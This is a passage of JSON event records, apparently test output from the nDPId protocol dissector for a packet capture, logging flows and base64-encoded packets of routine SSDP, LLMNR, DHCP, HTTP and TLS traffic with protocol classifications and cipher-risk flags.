KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01110{"flow_id":92,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":841,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":366956,"pkt_caplen":576,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":576,"pkt_l4_len":522,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAgoRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIKzRJOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly9bZmU4MDo6OWJkOjgxZGQ6MmZkYzo1NzUwXToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01073{"flow_id":91,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":571720,"pkt_caplen":546,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":546,"pkt_l4_len":512,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIUCfMAAAQR9RLAqAUx7\/\/\/+gdsB2wCAPPDTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01110{"flow_id":92,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":571911,"pkt_caplen":574,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":574,"pkt_l4_len":520,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAggRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIIordOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbnRlbnREaXJlY3Rvcnk6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +00583{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":878902,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAACl66AAAAERF9XAqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":848,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1470104400983,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00835{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":983874,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/XNmY3fXzCABFAAFZAABAAEARbn7AqApu\/\/\/\/\/+xA9gABRTgx\/\/8AAKAAXNmY3fXzwKgKbgAAAgAnAUROUy0xMTAwLTA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOQVMAAAAAAAAAAAAAVVqvihgAAABVWsE9WwAAAFVasDEuMDJiMTAAEXgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXNmY3fXzM0ExAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRsaW5rLURERjVGMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqApu\/\/8AAExBTjEAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":851,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1470104401187,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":50030,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104401,"pkt_ts_usec":187549,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AQBeAAD8uKxv2MGbCABFAAA5S70AAAERxyDAqAUy4AAA\/MNuFOsAJYAi+T0AAAABAAAAAAAAC2NoYXJtaW5nLVBDAAD\/AAE="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":851,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1470104401187,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":50030,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +01057{"flow_id":91,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":853,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104401,"pkt_ts_usec":288363,"pkt_caplen":534,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":534,"pkt_l4_len":500,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIICfQAAAQR9R3AqAUx7\/\/\/+gdsB2wB9PpOTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01094{"flow_id":92,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104401,"pkt_ts_usec":288517,"pkt_caplen":562,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":562,"pkt_l4_len":508,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAfwRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAH8qUJOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6TWVkaWFTZXJ2ZXI6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +00808{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104401,"pkt_ts_usec":902520,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/vO57DLPeCABFAAFIg+0AAEAR9bgAAAAA\/\/\/\/\/wBEAEMBNDMlAQEGANPiBnoAAAAAAAAAAAAAAAAAAAAAAAAAALzuewyz3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBOQIF3DwMZGhjcGNkLTUuNS42DBhhbmRyb2lkLWY3Y2EwZjU3MTI3MGM1MmQ3CQEhAwYPHDM6O\/8A"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":862,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1470104401904,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.212","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104401,"pkt_ts_usec":904977,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/ABNyFooyCABFAABEAABAAEARLl07eNDU\/\/\/\/\/4AAB5sAMADiZERZY1RjNFBBQUJQY0dWdVluUnpBSFZ0Ukc5c2IzSlRhWFJCYldVQQ=="} +00772{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":198930,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"TF4M6gNlYMVHBbyMCABFAAE1hLZAAEAGrOXAqAUQROn9hdF4AFAesUbCdjjwv4AYEAu4KQAAAQEIChoPahbPHh\/\/R0VUIC9jb21NYWdpY2FuQXBpL2luZGV4LnBocC9Ub29sQm94L3ZlcnNpb24gSFRUUC8xLjENCkhvc3Q6IGFwaS5tYWdpY2Fuc29mdC5jb20NCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLXR3DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1hZ2ljYW4gKHVua25vd24gdmVyc2lvbikgQ0ZOZXR3b3JrLzcyMC41LjcgRGFyd2luLzE0LjUuMCAoeDg2XzY0KQ0KDQo="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":872,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1470104402238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53625,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":872,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":238628,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"ABAj4ACgYMVHBbyMCABFAABAGihAAEAGJuTAqAUQwKhzS9F5AbtwBJ91AAAAALAC\/\/\/WVQAAAgQFtAEDAwUBAQgKGg9qPQAAAAAEAgAA"} +00423{"flow_id":96,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":239704,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxABAj4ACgCABFAAA0AABAAEAGQRjAqHNLwKgFEAG70XnKmfzXcASfdoASFtC0YwAAAgQFtAEBBAIBAwMH"} +00415{"flow_id":96,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":239746,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAosclAAEAGj1rAqAUQwKhzS9F5AbtwBJ92ypn82FAQIADsBQAAyQ4pxaWW"} +00696{"flow_id":96,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":240297,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"ABAj4ACgYMVHBbyMCABFAAD9ruNAAEAGkWvAqAUQwKhzS9F5AbtwBJ92ypn82FAYIADtEAAAFgMBANABAADMAwNXoANTJYxftKgXimtNLVWTzYxskkMb8dtmAzVqLh4pryBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAA5AAAAEwARAAAOMTkyLjE2OC4xMTUuNzUACgAIAAYAFwAYABkACwACAQAADQAMAAoFAQQBAgEEAwID"} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":875,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":4,"flow_first_seen":1470104402238,"flow_last_seen":1470104402240,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":20,"flow_max_l4_data_len":233,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53625,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"618ee2509ef52bf0b8216e1564eea909","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00415{"flow_id":96,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":241217,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAofPZAAEAGxC3AqHNLwKgFEAG70XnKmfzYcASgS1AQADYK+wAAAAAAAAAA"} +00630{"flow_id":96,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":243893,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"ABxCjnAxABAj4ACgCABFAADJfPdAAEAGw4vAqHNLwKgFEAG70XnKmfzYcASgS1AYADbicAAAFgMDAFECAABNAwN7H4yPHjLYw\/e9aBqw+\/vV2u50xsHUyfu8US38EyE+VyBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eAAvAAAF\/wEAAQAUAwMAAQEWAwMAQJPGwpXm49Wpwm5+RRNIxmh0PMa1TfmfP4GkpjQdMkON0UW5xEoBecyOhOQdSe0vc5PC\/LsmCtxUJlkP4zkaysY="} +00813{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":877,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":6,"flow_first_seen":1470104402238,"flow_last_seen":1470104402243,"flow_tot_l4_data_len":530,"flow_min_l4_data_len":20,"flow_max_l4_data_len":233,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53625,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"618ee2509ef52bf0b8216e1564eea909","ja3s":"573a9f3f80037fb40d481e2054def5bb","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00416{"flow_id":96,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":243923,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAoHZZAAEAGI47AqAUQwKhzS9F5AbtwBKBLypn9eVAQH\/rqlQAAWvP2rXCB"} +00415{"flow_id":96,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":244101,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABAj4ACgYMVHBbyMCABFAAAuBZhAAEAGO4bAqAUQwKhzS9F5AbtwBKBLypn9eVAYIADSfQAAFAMDAAEB"} +00501{"flow_id":96,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":244129,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"ABAj4ACgYMVHBbyMCABFAABtWB1AAEAG6MHAqAUQwKhzS9F5AbtwBKBRypn9eVAYIACxqgAAFgMDAED8EEpWqJk4r6WtGIr5vsgJsNnUnmvrFtYoejYQeOu8kyDFXZMIixibwwXGCt9sigWwD0DjmEGXkF2UN2M7Ecgb"} +00416{"flow_id":96,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":246502,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAofPhAAEAGxCvAqHNLwKgFEAG70XnKmf15cASgllAQADYKDwAAAAAAAAAA"} +01790{"flow_id":96,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":286260,"pkt_caplen":1067,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1067,"pkt_l4_len":1033,"pkt":"ABAj4ACgYMVHBbyMCABFAAQdpDtAAEAGmPPAqAUQwKhzS9F5AbtwBKCWypn9eVAYIACVpwAAFwMDA\/B6BgcjP2PVKZQtz8MJhne7YIP24L3UojYgYZS42z7GWQaO4tllBR9ED168aNnSy435kT+WUEY53rq0MCIT8ePGss1ZcevnOMUI8gYtDpEPHZ1hL\/1\/mlTYvtxf8SQyDvnDre1HirzJJdNgjbfiNk8E9FAZtRrooy7f3k7grJFdGbmPA8X1Nvl\/M6vpnJ\/HdRjRsHdDQGMJJ7M31UTQat9KFMbgGgyh5SGmtzojqNVtCP4xeFhr\/qJqGf7zFm2Gtil69B5Sgi8jk6qRHJNQ5VvvYUB+g\/T\/jlD1dBguoBBmnhl8Bwi72cpdKhS8dTKadpwmoBi1vcICDt0NoSGNO\/0jX+UaM4VDCppq8j6Ad\/IVwh9ozmpyLJej6Mp3nGP+mCoudJhCSFS+2Pid7BejnI3r\/HP1KKv\/67NNexhfhx80zBvNH38Ni+QMOsVeqNaSNF1EHBkCqB2zYcDSDlXYKgDV\/Bdut9kKelbFIDQTR+jT7NkEWnxAb2OsMQitHdhIY7oir0akgd6rbQee8HvkUiJ7Cpepnju638XyIn1amDptSbDccuL7jojyQyYucwup8LcBzZGAzVPw26NU1e1WsdzohtzeGNz648GjvKrJrpQXQ05LcHDbMSr5NbmicGRAOsGrfgs3IMZ8nGMKwLqMJ4bFCJK1OHZzasrkR9UkqVUb395LzsjoZsTmK2JGZiSYKMYwHPzSJO+lvpAEdSkOVDw1cADDNhOTFCrSLgbB6fW5\/\/VFaVpCclafI9LgU4lqSswaVJvg9CmwE6h1b7BD7IhdS7HloDHvDC0ZqFG7i20FzwNdaTj3xz+aARRceSpArtfGgJnNNXubN\/SiT0HolGNwODw6HCX0DGo3RoJ0DjxpffZNUNgvu9a7wOwIg0TpUWNNHGDec60JLnwIDl9DkQmaEdLm6+z7FvGezvZTfhvOnaT6vATzB3IzJ6s6RIgPLPkK6vdK\/yFtpZ4qyYhM2i+TSB9BGoQQk1pqSr6E55BE+ILdIoqNj4v6SV+TByr3XyEXpdDsiHFpG3eFKaEOkxiq2lz4D1xN4bVRFQZkA0\/ondE0RRpdohNDR4rLQFFHQsab6Gns5vjb2yFn0JR8SFr8ttWiWTqFrucIH6fqB0QiNH\/vr3itLW2NJmiRrCDpgc6PUDNoAprvNwjuD+jxa7dgYQv5dhXN\/BdOerhCT0E60hoaeexCAfo89vHQnN0YQzVzHkjckzb9WMCr3N9+O8iBOWav\/uXxq2v7U9DyA5QzrXCZ4RfuIgrviGbwW64haBRon7m\/X3CYzGoorOYBG8EcFfTrG\/tKAEfspgbEX\/+0+HpD9J0xDr3dkBpuHfUSW48="} 